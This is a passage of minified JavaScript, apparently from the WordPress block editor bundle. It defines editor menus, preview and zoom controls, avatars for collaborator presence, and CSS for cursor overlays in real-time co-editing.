YJ=s(A(),1),qJ=s(D(),1),ZJ=s(C(),1),{Fill:KJ,Slot:uke}=(0,YJ.createSlotFill)(qJ.Platform.OS===&quot;web&quot;?Symbol(&quot;ViewMoreMenuGroup&quot;):&quot;ViewMoreMenuGroup&quot;);KJ.Slot=({fillProps:e})=&gt;(0,ZJ.jsx)(uke,{fillProps:e});var dk=KJ;var vr=s(C(),1);function fk({disabled:e=!1}){let{openModal:t}=(0,Rg.useDispatch)(Ce),{set:r}=(0,Rg.useDispatch)(Pm.store),{toggleDistractionFree:o}=(0,Rg.useDispatch)(w),n=(0,Rg.useSelect)(a=&gt;a(Pm.store).get(&quot;core&quot;,&quot;showIconLabels&quot;),[]),i=()=&gt;{r(&quot;core&quot;,&quot;distractionFree&quot;,!1)};return(0,vr.jsx)(vr.Fragment,{children:(0,vr.jsx)(_s.DropdownMenu,{icon:Nr,label:(0,gr.__)(&quot;Options&quot;),popoverProps:{placement:&quot;bottom-end&quot;,className:&quot;more-menu-dropdown__content&quot;},toggleProps:{showTooltip:!n,...n&amp;&amp;{variant:&quot;tertiary&quot;},tooltipPosition:&quot;bottom&quot;,size:&quot;compact&quot;,disabled:e},children:({onClose:a})=&gt;(0,vr.jsxs)(vr.Fragment,{children:[(0,vr.jsxs)(_s.MenuGroup,{label:(0,gr._x)(&quot;View&quot;,&quot;noun&quot;),children:[(0,vr.jsx)(Pm.PreferenceToggleMenuItem,{scope:&quot;core&quot;,name:&quot;fixedToolbar&quot;,onToggle:i,label:(0,gr.__)(&quot;Top toolbar&quot;),info:(0,gr.__)(&quot;Access all block and document tools in a single place&quot;),messageActivated:(0,gr.__)(&quot;Top toolbar activated.&quot;),messageDeactivated:(0,gr.__)(&quot;Top toolbar deactivated.&quot;)}),(0,vr.jsx)(Pm.PreferenceToggleMenuItem,{scope:&quot;core&quot;,name:&quot;distractionFree&quot;,label:(0,gr.__)(&quot;Distraction free&quot;),info:(0,gr.__)(&quot;Write with calmness&quot;),handleToggling:!1,onToggle:()=&gt;o({createNotice:!1}),messageActivated:(0,gr.__)(&quot;Distraction free mode activated.&quot;),messageDeactivated:(0,gr.__)(&quot;Distraction free mode deactivated.&quot;),shortcut:U4.displayShortcut.primaryShift(&quot;\\&quot;)}),(0,vr.jsx)(Pm.PreferenceToggleMenuItem,{scope:&quot;core&quot;,name:&quot;focusMode&quot;,label:(0,gr.__)(&quot;Spotlight mode&quot;),info:(0,gr.__)(&quot;Focus on one block at a time&quot;),messageActivated:(0,gr.__)(&quot;Spotlight mode activated.&quot;),messageDeactivated:(0,gr.__)(&quot;Spotlight mode deactivated.&quot;)}),(0,vr.jsx)(dk.Slot,{fillProps:{onClose:a}})]}),(0,vr.jsx)(UJ,{}),(0,vr.jsx)(rs.Slot,{name:&quot;core/plugin-more-menu&quot;,label:(0,gr.__)(&quot;Panels&quot;),fillProps:{onClick:a}}),(0,vr.jsxs)(_s.MenuGroup,{label:(0,gr.__)(&quot;Tools&quot;),children:[(0,vr.jsx)(_s.MenuItem,{onClick:()=&gt;t(&quot;editor/keyboard-shortcut-help&quot;),shortcut:U4.displayShortcut.access(&quot;h&quot;),children:(0,gr.__)(&quot;Keyboard shortcuts&quot;)}),(0,vr.jsx)(jJ,{}),(0,vr.jsxs)(_s.MenuItem,{icon:Xn,href:(0,gr.__)(&quot;https://wordpress.org/documentation/article/wordpress-block-editor/&quot;),target:&quot;_blank&quot;,rel:&quot;noopener noreferrer&quot;,children:[(0,gr.__)(&quot;Help&quot;),(0,vr.jsx)(_s.VisuallyHidden,{as:&quot;span&quot;,children:(0,gr.__)(&quot;(opens in a new tab)&quot;)})]}),(0,vr.jsx)(uk.Slot,{fillProps:{onClose:a}})]}),(0,vr.jsx)(_s.MenuGroup,{children:(0,vr.jsx)(_s.MenuItem,{onClick:()=&gt;t(&quot;editor/preferences&quot;),children:(0,gr.__)(&quot;Preferences&quot;)})})]})})})}var QJ=s(he(),1),mk=s(O(),1);var JJ=s(C(),1),XJ=&quot;toggle&quot;,H4=&quot;button&quot;;function $J({forceIsDirty:e,setEntitiesSavedStatesCallback:t}){let r,o=(0,QJ.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),{togglePublishSidebar:n}=(0,mk.useDispatch)(w),{hasPublishAction:i,isBeingScheduled:a,isPending:l,isPublished:c,isPublishSidebarEnabled:u,isPublishSidebarOpened:d,isScheduled:f,postStatus:m,postStatusHasChanged:h,postType:g}=(0,mk.useSelect)(v=&gt;({hasPublishAction:!!v(w).getCurrentPost()?._links?.[&quot;wp:action-publish&quot;],isBeingScheduled:v(w).isEditedPostBeingScheduled(),isPending:v(w).isCurrentPostPending(),isPublished:v(w).isCurrentPostPublished(),isPublishSidebarEnabled:v(w).isPublishSidebarEnabled(),isPublishSidebarOpened:v(w).isPublishSidebarOpened(),isScheduled:v(w).isCurrentPostScheduled(),postStatus:v(w).getEditedPostAttribute(&quot;status&quot;),postStatusHasChanged:v(w).getPostEdits()?.status,postType:v(w).getCurrentPostType()}),[]);return g===ur||c||h&amp;&amp;![&quot;future&quot;,&quot;publish&quot;].includes(m)||f&amp;&amp;a||l&amp;&amp;!i&amp;&amp;!o?r=H4:o||u?r=XJ:r=H4,(0,JJ.jsx)(eg,{forceIsDirty:e,isOpen:d,isToggle:r===XJ,onToggle:n,setEntitiesSavedStatesCallback:t})}var e$=s(E(),1),t$=s(A(),1);var r$=s(W(),1),o$=s(O(),1),n$=s(lt(),1);var i$=s(C(),1);function s$(){let{hasLoaded:e,permalink:t,isPublished:r,label:o,showIconLabels:n}=(0,o$.useSelect)(i=&gt;{let a=i(w).getCurrentPostType(),l=i(r$.store).getPostType(a),{get:c}=i(n$.store);return{permalink:i(w).getPermalink(),isPublished:i(w).isCurrentPostPublished(),label:l?.labels.view_item,hasLoaded:!!l,showIconLabels:c(&quot;core&quot;,&quot;showIconLabels&quot;)}},[]);return!r||!t||!e?null:(0,i$.jsx)(t$.Button,{icon:Xn,label:o||(0,e$.__)(&quot;View post&quot;),href:t,target:&quot;_blank&quot;,showTooltip:!n,size:&quot;compact&quot;})}var a$=s(he(),1),un=s(A(),1),ma=s(E(),1);var N0=s(O(),1),l$=s(W(),1),c$=s(lt(),1);var u$=s($(),1);var ao=s(C(),1);function d$({forceIsAutosaveable:e,disabled:t}){let{deviceType:r,homeUrl:o,isTemplate:n,isViewable:i,showIconLabels:a,isTemplateHidden:l,templateId:c}=(0,N0.useSelect)(x=&gt;{let{getDeviceType:T,getCurrentPostType:R,getCurrentTemplateId:F,getRenderingMode:B}=x(w),{getEntityRecord:z,getPostType:L}=x(l$.store),{get:M}=x(c$.store),k=R();return{deviceType:T(),homeUrl:z(&quot;root&quot;,&quot;__unstableBase&quot;)?.home,isTemplate:k===&quot;wp_template&quot;,isViewable:L(k)?.viewable??!1,showIconLabels:M(&quot;core&quot;,&quot;showIconLabels&quot;),isTemplateHidden:B()===&quot;post-only&quot;,templateId:F()}},[]),{setDeviceType:u,setRenderingMode:d,setDefaultRenderingMode:f}=N((0,N0.useDispatch)(w)),{resetZoomLevel:m}=N((0,N0.useDispatch)(u$.store)),h=x=&gt;{u(x),m()};if((0,a$.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;))return null;let v={placement:&quot;bottom-end&quot;},y={className:&quot;editor-preview-dropdown__toggle&quot;,iconPosition:&quot;right&quot;,size:&quot;compact&quot;,showTooltip:!a,disabled:t,accessibleWhenDisabled:t},b={&quot;aria-label&quot;:(0,ma.__)(&quot;View options&quot;)},_={desktop:J1,mobile:Ym,tablet:US},S=[{value:&quot;Desktop&quot;,label:(0,ma.__)(&quot;Desktop&quot;),icon:J1},{value:&quot;Tablet&quot;,label:(0,ma.__)(&quot;Tablet&quot;),icon:US},{value:&quot;Mobile&quot;,label:(0,ma.__)(&quot;Mobile&quot;),icon:Ym}];return(0,ao.jsx)(un.DropdownMenu,{className:re(&quot;editor-preview-dropdown&quot;,`editor-preview-dropdown--${r.toLowerCase()}`),popoverProps:v,toggleProps:y,menuProps:b,icon:_[r.toLowerCase()],label:(0,ma.__)(&quot;View&quot;),disableOpenOnArrowDown:t,children:({onClose:x})=&gt;(0,ao.jsxs)(ao.Fragment,{children:[(0,ao.jsx)(un.MenuGroup,{children:(0,ao.jsx)(un.MenuItemsChoice,{choices:S,value:r,onSelect:h})}),n&amp;&amp;(0,ao.jsx)(un.MenuGroup,{children:(0,ao.jsxs)(un.MenuItem,{href:o,target:&quot;_blank&quot;,icon:Xn,onClick:x,children:[(0,ma.__)(&quot;View site&quot;),(0,ao.jsx)(un.VisuallyHidden,{as:&quot;span&quot;,children:(0,ma.__)(&quot;(opens in a new tab)&quot;)})]})}),!n&amp;&amp;!!c&amp;&amp;(0,ao.jsx)(un.MenuGroup,{children:(0,ao.jsx)(un.MenuItem,{icon:l?void 0:Pi,isSelected:!l,role:&quot;menuitemcheckbox&quot;,onClick:()=&gt;{let T=l?&quot;template-locked&quot;:&quot;post-only&quot;;d(T),f(T),m()},children:(0,ma.__)(&quot;Show template&quot;)})}),i&amp;&amp;(0,ao.jsx)(un.MenuGroup,{children:(0,ao.jsx)(od,{className:&quot;editor-preview-dropdown__button-external&quot;,role:&quot;menuitem&quot;,forceIsAutosaveable:e,&quot;aria-label&quot;:(0,ma.__)(&quot;Preview in new tab&quot;),textContent:(0,ao.jsxs)(ao.Fragment,{children:[(0,ma.__)(&quot;Preview in new tab&quot;),(0,ao.jsx)(un.Icon,{icon:Xn})]}),onPreview:x})}),(0,ao.jsx)(rs.Slot,{name:&quot;core/plugin-preview-menu&quot;,fillProps:{onClick:x}})]})})}var f$=s(A(),1),G4=s(E(),1),m$=s(D(),1),F0=s(O(),1),W4=s($(),1);var Y4=s(lt(),1),pk=s(Oi(),1),p$=s(yo(),1);var h$=s(C(),1),dke=({disabled:e})=&gt;{let{isZoomOut:t,showIconLabels:r,isDistractionFree:o}=(0,F0.useSelect)(u=&gt;({isZoomOut:N(u(W4.store)).isZoomOut(),showIconLabels:u(Y4.store).get(&quot;core&quot;,&quot;showIconLabels&quot;),isDistractionFree:u(Y4.store).get(&quot;core&quot;,&quot;distractionFree&quot;)})),{resetZoomLevel:n,setZoomLevel:i}=N((0,F0.useDispatch)(W4.store)),{registerShortcut:a,unregisterShortcut:l}=(0,F0.useDispatch)(pk.store);return(0,m$.useEffect)(()=&gt;(a({name:&quot;core/editor/zoom&quot;,category:&quot;global&quot;,description:(0,G4.__)(&quot;Enter or exit zoom out.&quot;),keyCombination:{modifier:(0,p$.isAppleOS)()?&quot;primaryShift&quot;:&quot;secondary&quot;,character:&quot;0&quot;}}),()=&gt;{l(&quot;core/editor/zoom&quot;)}),[a,l]),(0,pk.useShortcut)(&quot;core/editor/zoom&quot;,()=&gt;{t?n():i(&quot;auto-scaled&quot;)},{isDisabled:o}),(0,h$.jsx)(f$.Button,{accessibleWhenDisabled:!0,disabled:e,onClick:()=&gt;{t?n():i(&quot;auto-scaled&quot;)},icon:jA,label:(0,G4.__)(&quot;Zoom Out&quot;),isPressed:t,size:&quot;compact&quot;,showTooltip:!r,className:&quot;editor-zoom-out-toggle&quot;})},g$=dke;var Z$=s(A(),1),Dg=s(D(),1),K$=s(W(),1),Rk=s(E(),1);var hk=s(A(),1),b$=s(D(),1);var Ag=s(D(),1);function v$(e){let[t,r]=(0,Ag.useState)(e),[o,n]=(0,Ag.useState)(e?&quot;loading&quot;:&quot;idle&quot;);t!==e&amp;&amp;(r(e),n(e?&quot;loading&quot;:&quot;idle&quot;));let i=(0,Ag.useCallback)(()=&gt;n(&quot;loaded&quot;),[]),a=(0,Ag.useCallback)(()=&gt;n(&quot;error&quot;),[]);return{status:o,handleLoad:i,handleError:a}}var Oc=s(C(),1);uw([Xw]);var y$=&quot;#1e1e1e&quot;,fke=&quot;#fff&quot;;function mke({className:e,src:t,name:r,label:o,variant:n,size:i=&quot;default&quot;,borderColor:a,dimmed:l=!1,statusIndicator:c,style:u,...d}){let{status:f,handleLoad:m,handleError:h}=v$(t),g=f===&quot;loaded&quot;,v=n===&quot;badge&quot;&amp;&amp;!!r,y=r?r.split(/\s+/).slice(0,2).map(x=&gt;x[0]).join(&quot;&quot;).toUpperCase():void 0,b=(0,b$.useMemo)(()=&gt;a&amp;&amp;xr(a).isReadable(y$,{level:&quot;AA&quot;,size:&quot;normal&quot;})?y$:fke,[a]),_={...u,...a?{&quot;--editor-avatar-outline-color&quot;:a,&quot;--editor-avatar-name-color&quot;:b}:{}},S=(0,Oc.jsxs)(&quot;div&quot;,{className:re(&quot;editor-avatar&quot;,e,{&quot;has-avatar-border-color&quot;:!!a,&quot;has-src&quot;:g,&quot;is-badge&quot;:v,&quot;is-small&quot;:i===&quot;small&quot;,&quot;is-dimmed&quot;:l}),style:_,role:r?&quot;img&quot;:void 0,&quot;aria-label&quot;:r||void 0,...d,children:[(0,Oc.jsxs)(&quot;span&quot;,{className:&quot;editor-avatar__image&quot;,children:[t&amp;&amp;(0,Oc.jsx)(&quot;img&quot;,{src:t,alt:&quot;&quot;,crossOrigin:&quot;anonymous&quot;,className:&quot;editor-avatar__img&quot;,onLoad:m,onError:h}),!g&amp;&amp;y]}),l&amp;&amp;!!c&amp;&amp;(0,Oc.jsx)(&quot;span&quot;,{className:&quot;editor-avatar__status-indicator&quot;,children:(0,Oc.jsx)(hk.Icon,{icon:c})}),v&amp;&amp;(0,Oc.jsx)(&quot;span&quot;,{className:&quot;editor-avatar__name&quot;,children:o||r})]});return r&amp;&amp;(!v||o)?(0,Oc.jsx)(hk.Tooltip,{text:r,children:S}):S}var Ic=mke;var S$=s(D(),1),gk=s(E(),1),vk=s(C(),1);function pke({className:e,max:t=3,children:r,...o}){let n=S$.Children.toArray(r),i=n.slice(0,t),a=n.length-t;return(0,vk.jsxs)(&quot;div&quot;,{role:&quot;group&quot;,className:re(&quot;editor-avatar-group&quot;,e),...o,children:[i,a&gt;0&amp;&amp;(0,vk.jsx)(&quot;span&quot;,{className:&quot;editor-avatar-group__overflow&quot;,&quot;aria-label&quot;:(0,gk.sprintf)((0,gk._n)(&quot;%d more collaborator&quot;,&quot;%d more collaborators&quot;,a),a),children:`+${a}`})]})}var q4=pke;var D0=s(E(),1),yk=s(A(),1);var T$=s(Xm(),1);function Nc(e){return e?.[&quot;48&quot;]||e?.[&quot;96&quot;]||e?.[&quot;24&quot;]}var w$=s(E(),1);function x$(e){return e.trim()}function Og(){}var _$=[&quot;#C36EFF&quot;,&quot;#FF51A8&quot;,&quot;#E4780A&quot;,&quot;#FF35EE&quot;,&quot;#879F11&quot;,&quot;#46A494&quot;,&quot;#00A2C3&quot;];function ws(e){return _$[e%_$.length]}function C$(e,t=10){if(!e)return&quot;&quot;;let r=(0,w$._x)(&quot;words&quot;,&quot;Word count type. Do not translate!&quot;),o=e.trim(),n=&quot;&quot;;if(r===&quot;words&quot;)n=o.split(&quot; &quot;,t).join(&quot; &quot;);else if(r===&quot;characters_excluding_spaces&quot;){let a=o.split(&quot;&quot;,t).join(&quot;&quot;),l=a.length-a.replaceAll(&quot; &quot;,&quot;&quot;).length;n=o.split(&quot;&quot;,t+l).join(&quot;&quot;)}else r===&quot;characters_including_spaces&quot;&amp;&amp;(n=o.split(&quot;&quot;,t).join(&quot;&quot;));return n!==o?n+&quot;\u2026&quot;:n}function dn(e,t,r){if(!t)return;let o=e&amp;&amp;e!==&quot;new&quot;?`[role=treeitem][id=&quot;comment-thread-${e}&quot;]`:&quot;[role=treeitem]:not([id])&quot;,n=r?`${o} ${r}`:o;return new Promise(i=&gt;{if(t.querySelector(n))return i(t.querySelector(n));let a=null,l=new window.MutationObserver(()=&gt;{t.querySelector(n)&amp;&amp;(clearTimeout(a),l.disconnect(),i(t.querySelector(n)))});l.observe(t,{childList:!0,subtree:!0}),a=setTimeout(()=&gt;{l.disconnect(),i(null)},3e3)}).then(i=&gt;i?.focus())}var fi=s(C(),1);if(typeof document&lt;&quot;u&quot;&amp;&amp;!document.head.querySelector(&quot;style[data-wp-hash=&#039;9537a5e604&#039;]&quot;)){let e=document.createElement(&quot;style&quot;);e.setAttribute(&quot;data-wp-hash&quot;,&quot;9537a5e604&quot;),e.appendChild(document.createTextNode(&quot;.editor-collaborators-presence__list.components-popover .components-popover__content{background:#fff;border:1px solid #ddd;border-radius:8px;border-width:1px 0 0 1px;box-shadow:0 1px 2px #0000000d,0 2px 3px #0000000a,0 6px 6px #00000008,0 8px 8px #00000005}.editor-collaborators-presence__list.components-popover .editor-collaborators-presence__list-content{min-width:280px}.editor-collaborators-presence__list.components-popover .editor-collaborators-presence__list-header{align-items:center;display:flex;justify-content:space-between;padding:8px 16px}.editor-collaborators-presence__list.components-popover .editor-collaborators-presence__list-header-title{display:flex;font-size:13px;font-weight:499;gap:4px;line-height:20px}.editor-collaborators-presence__list.components-popover .editor-collaborators-presence__list-header-title span{color:#757575}.editor-collaborators-presence__list.components-popover .editor-collaborators-presence__list-header-action{padding:0}.editor-collaborators-presence__list.components-popover .editor-collaborators-presence__list-header-action button{color:#1e1e1e;height:32px;padding:0;width:32px}.editor-collaborators-presence__list.components-popover .editor-collaborators-presence__list-items{display:flex;flex-direction:column;padding-bottom:16px}.editor-collaborators-presence__list.components-popover .editor-collaborators-presence__list-item{all:unset;align-items:center;box-sizing:border-box;cursor:pointer;display:flex;gap:8px;padding:12px 16px;transition:background-color .2s ease;width:100%}.editor-collaborators-presence__list.components-popover .editor-collaborators-presence__list-item:hover:not(:disabled){background-color:rgba(var(--wp-admin-theme-color--rgb),.04)}.editor-collaborators-presence__list.components-popover .editor-collaborators-presence__list-item:active:not(:disabled){background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.editor-collaborators-presence__list.components-popover .editor-collaborators-presence__list-item:focus-visible{outline:2px solid var(--wp-admin-theme-color,#3858e9);outline-offset:-2px}.editor-collaborators-presence__list.components-popover .editor-collaborators-presence__list-item:disabled{cursor:default}.editor-collaborators-presence__list.components-popover .editor-collaborators-presence__list-item-info{display:flex;flex:1;flex-direction:column;min-width:0}.editor-collaborators-presence__list.components-popover .editor-collaborators-presence__list-item-name{color:#1e1e1e;font-size:13px;font-weight:499;line-height:20px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}&quot;)),document.head.appendChild(e)}function P$({activeCollaborators:e,popoverAnchor:t,setIsPopoverVisible:r,cursorRegistry:o}){let n=i=&gt;{o.scrollToCursor(i,{behavior:&quot;smooth&quot;,block:&quot;center&quot;,highlightDuration:2e3})&amp;&amp;((0,T$.speak)((0,D0.__)(&quot;Scrolled to cursor&quot;),&quot;polite&quot;),r(!1))};return(0,fi.jsx)(yk.Popover,{anchor:t,placement:&quot;bottom&quot;,offset:8,className:&quot;editor-collaborators-presence__list&quot;,onClose:()=&gt;r(!1),children:(0,fi.jsxs)(&quot;div&quot;,{className:&quot;editor-collaborators-presence__list-content&quot;,children:[(0,fi.jsxs)(&quot;div&quot;,{className:&quot;editor-collaborators-presence__list-header&quot;,children:[(0,fi.jsxs)(&quot;div&quot;,{className:&quot;editor-collaborators-presence__list-header-title&quot;,children:[(0,D0.__)(&quot;Collaborators&quot;),(0,fi.jsx)(&quot;span&quot;,{children:e.length})]}),(0,fi.jsx)(&quot;div&quot;,{className:&quot;editor-collaborators-presence__list-header-action&quot;,children:(0,fi.jsx)(yk.Button,{__next40pxDefaultSize:!0,icon:Kn,iconSize:24,label:(0,D0.__)(&quot;Close Collaborators List&quot;),onClick:()=&gt;r(!1)})})]}),(0,fi.jsx)(&quot;div&quot;,{className:&quot;editor-collaborators-presence__list-items&quot;,children:e.map(i=&gt;{let a=i.isMe;return(0,fi.jsxs)(&quot;button&quot;,{className:&quot;editor-collaborators-presence__list-item&quot;,disabled:a,onClick:()=&gt;n(i.clientId),children:[(0,fi.jsx)(Ic,{src:Nc(i.collaboratorInfo.avatar_urls),name:i.collaboratorInfo.name,borderColor:a?&quot;var(--wp-admin-theme-color)&quot;:ws(i.collaboratorInfo.id),dimmed:!i.isConnected}),(0,fi.jsx)(&quot;div&quot;,{className:&quot;editor-collaborators-presence__list-item-info&quot;,children:(0,fi.jsx)(&quot;div&quot;,{className:&quot;editor-collaborators-presence__list-item-name&quot;,children:a?(0,D0.__)(&quot;You&quot;):i.collaboratorInfo.name})})]},i.clientId)})})]})})}function hke(e,t){e.classList.add(&quot;collaborators-overlay-cursor-highlighted&quot;),setTimeout(()=&gt;{e.classList.remove(&quot;collaborators-overlay-cursor-highlighted&quot;)},t)}function k$(){let e=new Map;return{registerCursor(t,r){e.set(t,r)},unregisterCursor(t){e.delete(t)},scrollToCursor(t,r){let o=e.get(t);return o?(o.scrollIntoView({behavior:r?.behavior??&quot;smooth&quot;,block:r?.block??&quot;center&quot;,inline:r?.inline??&quot;nearest&quot;}),r?.highlightDuration&amp;&amp;hke(o,r.highlightDuration),!0):!1},removeAll(){e.clear()}}}var q$=s($(),1);var kk=s(he(),1),pa=s(D(),1),W$=s(E(),1);var bk=&quot;0 1px 1px rgba(0, 0, 0, 0.03), 0 1px 2px rgba(0, 0, 0, 0.02), 0 3px 3px rgba(0, 0, 0, 0.02), 0 4px 4px rgba(0, 0, 0, 0.01)&quot;,Z4=&quot;9999px&quot;,K4=&quot;32px&quot;,X4=&quot;24px&quot;,Sk=&quot;4px&quot;,_k=&quot;8px&quot;,Q4=&quot;1px&quot;,E$=&quot;2px&quot;,dd=&quot;#fff&quot;,R$=&quot;11px&quot;,A$=&quot;13px&quot;,J4=&quot;499&quot;,O$=&quot;20px&quot;;var I$=`
.editor-avatar {
	position: relative;
	display: inline-flex;
	align-items: center;
	border-radius: ${Z4};
	flex-shrink: 0;
	box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 2px) ${dd}, ${bk};
}
.editor-avatar__image {
	box-sizing: border-box;
	position: relative;
	width: ${K4};
	height: ${K4};
	border-radius: ${Z4};
	border: 0;
	background-color: var(--wp-admin-theme-color, #3858e9);
	overflow: hidden;
	overflow: clip;
	flex-shrink: 0;
	font-size: 0;
	color: ${dd};
}
.is-small &gt; .editor-avatar__image {
	width: ${X4};
	height: ${X4};
}
.has-avatar-border-color &gt; .editor-avatar__image {
	border: var(--wp-admin-border-width-focus, 2px) solid var(--editor-avatar-outline-color);
	background-clip: padding-box;
}
.has-avatar-border-color &gt; .editor-avatar__image::after {
	content: &quot;&quot;;
	position: absolute;
	inset: 0;
	border-radius: inherit;
	box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus, 2px) ${dd};
	pointer-events: none;
	z-index: 1;
}
.editor-avatar__img {
	position: absolute;
	inset: 0;
	width: 100%;
	height: 100%;
	object-fit: cover;
	border-radius: inherit;
	opacity: 0;
}
.has-src &gt; .editor-avatar__image &gt; .editor-avatar__img {
	opacity: 1;
}
.editor-avatar:not(.has-src) &gt; .editor-avatar__image {
	display: flex;
	align-items: center;
	justify-content: center;
	font-size: ${R$};
	font-weight: ${J4};
	border: 0;
	background-clip: border-box;
}
.editor-avatar:not(.has-src) &gt; .editor-avatar__image::after {
	content: none;
}
.editor-avatar:not(.has-src).has-avatar-border-color &gt; .editor-avatar__image {
	background-color: var(--editor-avatar-outline-color);
}
.editor-avatar__name {
	font-size: ${A$};
	font-weight: ${J4};
	line-height: ${O$};
	color: var(--editor-avatar-name-color, ${dd});
	min-width: 0;
	padding-bottom: 2px; /* $grid-unit-05 / 2 */
	overflow: hidden;
	opacity: 0;
	white-space: nowrap;
	transition: opacity 0.15s cubic-bezier(0.15, 0, 0.15, 1);
}
.editor-avatar.is-badge {
	display: inline-grid;
	grid-template-columns: min-content 0fr;
	column-gap: 0;
	padding-inline-end: 0;
	background-color: var(--wp-admin-theme-color, #3858e9);
	transition:
		grid-template-columns 0.3s cubic-bezier(0.15, 0, 0.15, 1),
		column-gap 0.3s cubic-bezier(0.15, 0, 0.15, 1),
		padding-inline-end 0.3s cubic-bezier(0.15, 0, 0.15, 1);
}
.editor-avatar.is-badge:hover {
	grid-template-columns: min-content 1fr;
	column-gap: ${Sk};
	padding-inline-end: ${_k};
	transition-timing-function: cubic-bezier(0.85, 0, 0.85, 1);
}
.editor-avatar.is-badge:hover .editor-avatar__name {
	opacity: 1;
	transition-timing-function: cubic-bezier(0.85, 0, 0.85, 1);
}
.editor-avatar.is-badge.has-avatar-border-color {
	background-color: var(--editor-avatar-outline-color);
}
@media (prefers-reduced-motion: reduce) {
	.editor-avatar.is-badge,
	.editor-avatar__name {
		transition: none;
	}
}
`;var N$=`
.block-canvas-cover {
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	pointer-events: none;
	z-index: 20000;
}
.block-canvas-cover .collaborators-overlay-full {
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
}
.block-canvas-cover .collaborators-overlay-fixed {
	position: fixed;
	width: 100%;
	height: 100%;
}
.collaborators-overlay-user {
	position: absolute;
}
/* Cursor lines render below avatar labels across all users. The parent
   .collaborators-overlay-user has no z-index so it does not create a
   stacking context \u2014 children participate in the shared overlay context. */
.collaborators-overlay-user-cursor {
	position: absolute;
	z-index: 0;
	width: ${E$};
	border-radius: ${Q4};
	outline: ${Q4} solid ${dd};
	box-shadow: ${bk};
	animation: collaborators-overlay-cursor-blink 1s infinite;
}
.collaborators-overlay-selection-rect {
	position: absolute;
	opacity: 0.15;
	pointer-events: none;
	border-radius: 2px;
}

/* Overlay-specific positioning applied to the Avatar cursor label. */
.collaborators-overlay-user-label.editor-avatar {
	position: absolute;
	z-index: 1;
	transform: translate(-11px, -100%);
	margin-top: -${Sk};
	pointer-events: auto;
	overflow: visible;
	width: max-content;
}
/* Avatar positioned above a highlighted block as a label. */
.collaborators-overlay-block-label.editor-avatar {
	position: absolute;
	z-index: 1;
	transform: translateY(calc(-100% - ${_k}));
	pointer-events: auto;
	overflow: visible;
	width: max-content;
}

@keyframes collaborators-overlay-cursor-blink {
	0%, 45% { opacity: 1; }
	55%, 95% { opacity: 0; }
	100% { opacity: 1; }
}
.collaborators-overlay-cursor-highlighted .collaborators-overlay-user-cursor {
	animation: collaborators-overlay-cursor-highlight 0.6s ease-in-out 3;
}
.collaborators-overlay-cursor-highlighted .collaborators-overlay-user-label {
	animation: collaborators-overlay-label-highlight 0.6s ease-in-out 3;
}
@keyframes collaborators-overlay-cursor-highlight {
	0%, 100% {
		transform: scale(1);
		filter: drop-shadow(0 0 0 transparent);
	}
	50% {
		transform: scale(1.2);
		filter: drop-shadow(0 0 8px currentColor);
	}
}
@keyframes collaborators-overlay-label-highlight {
	0%, 100% {
		transform: translate(-11px, -100%) scale(1);
		filter: drop-shadow(0 0 0 transparent);
	}
	50% {
		transform: translate(-11px, -100%) scale(1.1);
		filter: drop-shadow(0 0 6px currentColor);
	}
}
.block-editor-block-list__block.is-collaborator-selected:not(:focus)::after {
	content: &quot;&quot;;
	position: absolute;
	pointer-events: none;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	outline-color: var(--collaborator-outline-color);
	outline-style: solid;
	outline-width: calc(var(--wp-admin-border-width-focus) / var(--wp-block-editor-iframe-zoom-out-scale, 1));
	outline-offset: calc(-1 * var(--wp-admin-border-width-focus) / var(--wp-block-editor-iframe-zoom-out-scale, 1));
	box-shadow: inset 0 0 0 calc((var(--wp-admin-border-width-focus) / var(--wp-block-editor-iframe-zoom-out-scale, 1)) + 0.5px) rgba(${dd}, 0.7);
	z-index: 1;
}
@media (prefers-reduced-motion: reduce) {
	.collaborators-overlay-user-label,
	.collaborators-overlay-user-cursor {
		animation: none;
	}
}
`;function F$(e,t){let r=null,o=()=&gt;{try{e()}catch{}r=setTimeout(o,t)};return r=setTimeout(o,t),()=&gt;{r&amp;&amp;clearTimeout(r)}}var eN=s(W(),1),Ng=s(D(),1);var Ig=s(D(),1);function wk(e){let[t,r]=(0,Ig.useState)(0),o=(0,Ig.useRef)(null),n=(0,Ig.useCallback)(()=&gt;(o.current&amp;&amp;clearTimeout(o.current),o.current=setTimeout(()=&gt;{r(i=&gt;i+1)},e),()=&gt;{o.current&amp;&amp;clearTimeout(o.current)}),[e]);return[t,n]}var{useActiveCollaborators:gke,useResolvedSelection:vke}=N(eN.privateApis),{SelectionType:yke}=N(eN.privateApis);function D$(e,t,r,o,n){let i=(0,Ng.useRef)(new Set),a=gke(r??null,o??null),l=vke(r??null,o??null),[c,u]=(0,Ng.useState)([]),[d,f]=wk(n);return(0,Ng.useEffect)(()=&gt;{if(!t){u([]);return}let m=i.current,h=new Set,g=a.filter(_=&gt;{let S=_.editorState?.selection?.type===yke.WholeBlock;return!_.isMe&amp;&amp;S}).map(_=&gt;{let S;try{({localClientId:S}=l(_.editorState?.selection))}catch{return null}return S?{blockId:S,color:_.isMe?&quot;var(--wp-admin-theme-color)&quot;:ws(_.collaboratorInfo.id),userName:_.collaboratorInfo.name,avatarUrl:Nc(_.collaboratorInfo.avatar_urls)}:null}).filter(_=&gt;!_||h.has(_.blockId)?!1:(h.add(_.blockId),!0)),v=new Set(g.map(_=&gt;_.blockId));for(let _ of m)if(!v.has(_)){let S=$4(t,_);S&amp;&amp;(S.classList.remove(&quot;is-collaborator-selected&quot;),S.style.removeProperty(&quot;--collaborator-outline-color&quot;)),m.delete(_)}let y=[],b=e?.getBoundingClientRect()??null;return g.forEach(_=&gt;{let{color:S,blockId:x,userName:T,avatarUrl:R}=_,F=$4(t,x);if(F&amp;&amp;(F.classList.add(&quot;is-collaborator-selected&quot;),F.style.setProperty(&quot;--collaborator-outline-color&quot;,S),m.add(x),b)){let B=F.getBoundingClientRect();y.push({blockId:x,userName:T,avatarUrl:R,color:S,x:B.left-b.left,y:B.top-b.top})}}),u(y),()=&gt;{for(let _ of m){let 